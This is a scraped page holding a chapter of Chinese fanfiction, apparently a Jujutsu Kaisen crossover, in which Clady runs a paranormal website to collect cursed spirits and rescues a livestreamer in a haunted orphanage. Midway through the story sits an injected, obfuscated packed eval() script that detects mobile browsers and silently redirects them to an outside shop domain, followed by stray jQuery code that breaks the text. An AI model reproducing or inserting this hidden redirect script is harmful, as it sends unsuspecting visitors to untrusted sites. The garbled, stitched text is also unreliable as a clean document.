反正醒着也是醒着,现在干什么呢?
下午,离开了鹿儿岛附近,克莱笛正百无聊赖地行走在东京街头,带着从某白毛那里顺来的墨镜神神叨叨摇头晃脑,试图找到点有意思的乐子。
与克莱笛这几天去过的其它地方不同,东京这边的咒灵量要少上一些,等级更是普遍低下。
而且它们像黏人的孩子一样,十分喜欢爬到旧人类身上安家。
抬脚略过一只迅速爬过的四级咒灵,克莱笛有点眼神死了。
无聊啊,好无聊,都怪白毛傻大个把他提前那么早喊醒,他现在超——级——无聊。
前几天克莱笛不是在拯救新人类就是在舒舒服服地睡觉、吃饭、玩手机,哪里受过这种苦。
不行的啦,这怎么看都不行,这样下去救世主都要变成街溜子了。
得想个办法才行,总不能每次一闲下来就没事做,就算一天到晚闷在手机里也——!
等等,克莱笛突然有想法了!
他可以做个大型新人类收集网站啊!
天呐,救世主简直是天才!
想到就做,行动力ex的救世主迅速展开了他的计划。
几天后。
夜晚12点整,本该万籁俱寂的时间,一位灵异主播却伙同两位同伴在传闻闹鬼的废弃孤儿院开开心心地作着死。
故作恐惧的主播对着镜头介绍着这所孤儿院的故事,配合着同伴们时不时主动制造出的恐怖动静把直播间的观众们吓得一抖一抖的。
背地里,将镜头对准周围环境时,主播露出了意得志满的微笑。
最近有一个灵异爱好者网站超级火,上面是各路大神都有,随便挑一个都是讲恐怖故事的一把好手,而那些引人入胜的故事很快在世界各地掀起了有关“恐怖叙事”的狂潮。
他正是在这其中发现了商机,直接做起了实地考察系灵异主播。
果然,超级受欢迎!
突然,直播间的弹幕疯狂跳动,这名主播也没觉得奇怪,以为是同伴们又制造了剧本外的“灵异”。
不得不说,他是真的有点脑子,因为知道完全按计划走会少很多惊险感,还特地设计了一些额外的刺激来调动自己的感官。
想要吓到人,首先要吓到自己,他深谙此道,立刻按弹幕所说调头看向楼梯尽头似乎有血迹流下的方向。
然而他却只见到一个抱着精致玩偶却身穿灰扑扑衣服的孩子正低垂着脑袋,一动不动地站在他前进道路的尽头。
主播一愣,玩偶?
有点奇怪,每次准备的道具他也是看过的,有这个玩偶吗?
还是说那两个家伙为了真的吓到他特地准备了这种“惊喜”?
然而不等他细想,那个“玩偶”已经一点点抬起了头,精致可爱的五官无论如何都和玩偶搭不上边。
主播心想,什么嘛,他还真的差点被吓一跳,都准备跑了,结果居然是不知道从哪闯进来的小孩子,不是已经提前清过场了吗?
就在这时,弹幕刚刚飞快略过的文字再次出现在他的脑海里。
主播陡然间僵住了,直觉不对。
一条弹幕可以是故意捉弄,所有弹幕都这么说可以是默契,可如果每条弹幕都在用不同的语句说着同一件事,且无数人都在飞快提醒着他呢?
为什么,他没有看到血迹,又或者说——为什么没有弹幕提及这个出现的得过于突然的小孩?
在极度恐慌的这一刻,不等对面的小孩再做些什么,主播做的第一件事,就是颤抖着拿出手机,拨通了一个号码。
“喂、喂?”
接通,快点接通……
像是能感知到他的恐惧,可爱的孩子慢慢露出笑容,显现出非人的本质,它的嘴角一路裂开至两腮,直到裂无可裂,它的上半个脑袋直接自脖子上掉了下去。
接通啊!
明明只是短短的一瞬间,主播却感觉像是过了半辈子那样煎熬。
啪叽一声,那半个脑袋在地上摔得稀巴烂,下一秒,小孩的身体来到了主播眼前。
“你在、做、什么?”
它在笑,嘶哑的声音里完全是人性化的笑意。
“喂、喂?”
像是鹦鹉学舌那样,它甚至歪了歪仅剩一半的脑袋,故作孩童的天真可爱。
啊……主播已经不敢说话了,他好像死定了,就连动弹一下的勇气都从他身上消失了,只能眼睁睁看着它的手伸过来,抓向了他的手机。
然后又学了一声,“喂、喂?”
如果是放在平时,他大概会吐槽这是什么劣质电影的劣质脑洞吧,不知道反派死于话多吗。
但现在,他只希望它玩乐的时间再久一点,哪怕只能让他的生命再延长毫秒也好。
但这次,他的愿望注定落空了。
电话被接通,自遥远的彼端传来了清晰的带着不满的少年音,“摩西摩西?你好,全自动宝○梦回收服务,有什么需要帮助的吗?”
“快点说啦,我在打游戏呢,你这电话打得真的很不识时务啊!”
主播:完蛋了,本来是抱着是那个网站的持有者的电话,说不定值得信任才打的,结果这根本就是沉迷游戏的混蛋啊!
明明网站上有留言说这位会帮忙处理一般人处理不了的诡异事件,结果这么年轻的声音,这么玩世不恭的态度,啊啊啊啊啊,今天他就算死了也不会甘心的!
“放轻松点。”
嗵——心跳突然沉了一拍。
一个过于接近耳边的声音响起,接着在心中疯狂攻击全世界的主播就感受到肩膀一沉,那道好听的声音离他而去,取而代之的是少年凑到他脸侧的面孔。
他看到了一双盈满笑意的眼睛。
“别害怕呀,我这不是来了吗?”
而那个不久前还在他面前猖狂到用他的恐惧玩乐的怪物,在这个少年面前却反倒像是猎物,尖啸着开始逃跑。
怪物最终有没有逃走他不知道,只记得少年开心地拍了拍他的脑袋,似乎只是一眨眼就又从他眼前消失了。
“就像梦一样。”
回过神,他才发现直播间的人完全没发现异常。
观众们对事件的了解还停留在发现血迹上,在那之后直播间就像是被不明生物干扰了,断开了链接,直到现在才又恢复正常。
各种疑神疑鬼的弹幕充斥了直播间,两个惊慌失措的同伴也赶了过来,东摸西摸地检查。
“智也!没事吧,刚刚你突然像是消失了一样,我们还以为是看错了。”
被怀疑是真的经历了灵异事件,智也呆立片刻,在同伴们担忧的表情中,终于开口,“我想,去做宝○梦收集师的助手。”
同伴们:哈?!
另一边,盘着刚到手的特级咒胎,短短几天就收获了好多二级及以上级新人类的克莱笛幸福而惬意地瘫在了刚买回家的懒人沙发里,成为了一滩流动的液体。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17584554|205181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
事实证明,想到了走网站路子的克莱笛果然是天才!
这下田石川就不用累得要死地开车送他东奔西跑了,克莱笛也不用担心会错过什么咒灵杀人事件,喜欢作死或只是单纯运气不好的人也有了活下去的资格,大家都有光明的未来!
爽哉爽哉!
不过,最开始这个计划其实是遭到了吉田石川的疯狂反对的。
彼时吉田石川一脸严肃:“克莱笛大人,这种行为一旦被总监会发现,会按照背叛处置的,以高层的决断,即便是您也可能被处死!请恕我不能同意!”
所以放弃吧,放弃吧,放弃啊啊啊啊啊啊!
面对他的劝诫,克莱笛:零动十拒!没有答应的义务!
这可是来自救世主的深沉的爱,禁止拒绝!
“放心啦田石川,哪有那么严重啦~”彼时的克莱笛如此说。
就是有那么严重啊!我反倒想知道您哪来的自信觉得不会那么严重啊!吉田石川抱头痛哭。
如果换个人来告诉吉田石川,说他一拍脑子就想建一个能让全世界灵异爱好者都知道并喜爱的网站,他大概会笑一笑算了,毕竟梦想嘛,不梦怎么想。
但三野大人和他说要这么做,讲真,吉田石川也想笑一笑算了。
因为他根本阻止不了……
唯一能另吉田石川不那么痛苦的,大概就是克莱笛还知道把这个网站伪装成普通的讨论各种奇诡话题的网站,也没有暴露个人身份信息。
嗯,非要说的话,三野大人一本正经地说着“这是能减轻田石川负担的好事!”时他也挺开心的。
只是这样一来,他是清闲了,三野大人却还是要东奔西跑,昼夜颠倒。
吉田石川感觉有点不得劲。
虽然最开始他是吐槽过克莱笛给自己制造了许多不必要的加班,但真的被排除在外后,他反倒有些……寂寞?
难道他其实是抖m?
吉田石川不能理解,但十分从心地把家搬到了克莱笛的隔壁,不过房间的整理需要时间,在房间好之前,他会暂住在三野大人家里。
三野大人的生得术式需要在使用时被严格计时,所以他的搬家是有必要的,这样如果三野大人失控,他就能第一时间进行阻止……哦对了,然后还要上报。
现在他的手机也回来了,倒是不用再担心和高层或是其它诸如窗之类的联络员的沟通。
克莱笛给咒灵开的隐形自上次以后再也没关过,理清了思绪,完全看不出来现在克莱笛身边是什么情况的吉田石川想了想,觉得这个网站还是需要他的一些参与。
“克莱笛大人,我可以继续记录您现在拥有的新人类的特性及数量吗?”
“嗯?当然没问题啦,完全ok。”
克莱笛拿着游戏机,若有所思地咬了下吉田石川顺手塞过来的葡萄味糖果,随即一手打勾指向对方。
“这样吧,我把那个网站再开一个专栏,就用来记录这些,随便找点白嫖过救世主的人帮你就行,刚好给那些白嫖救世主的家伙们找点事做。”
“田石川,这个专栏就交给你管理了哦!”
吉田石川一脸认真:“克莱笛大人,我会努力的。”
然后就被堆积成山的小咒灵们和突然出现在眼前的弹窗吓了个倒仰。
自己给自己找了一堆工作的社畜理了理衣袖,戴上眼镜,面上是成功社畜应有的面无表情。
这可真是,要忙上好一会儿了。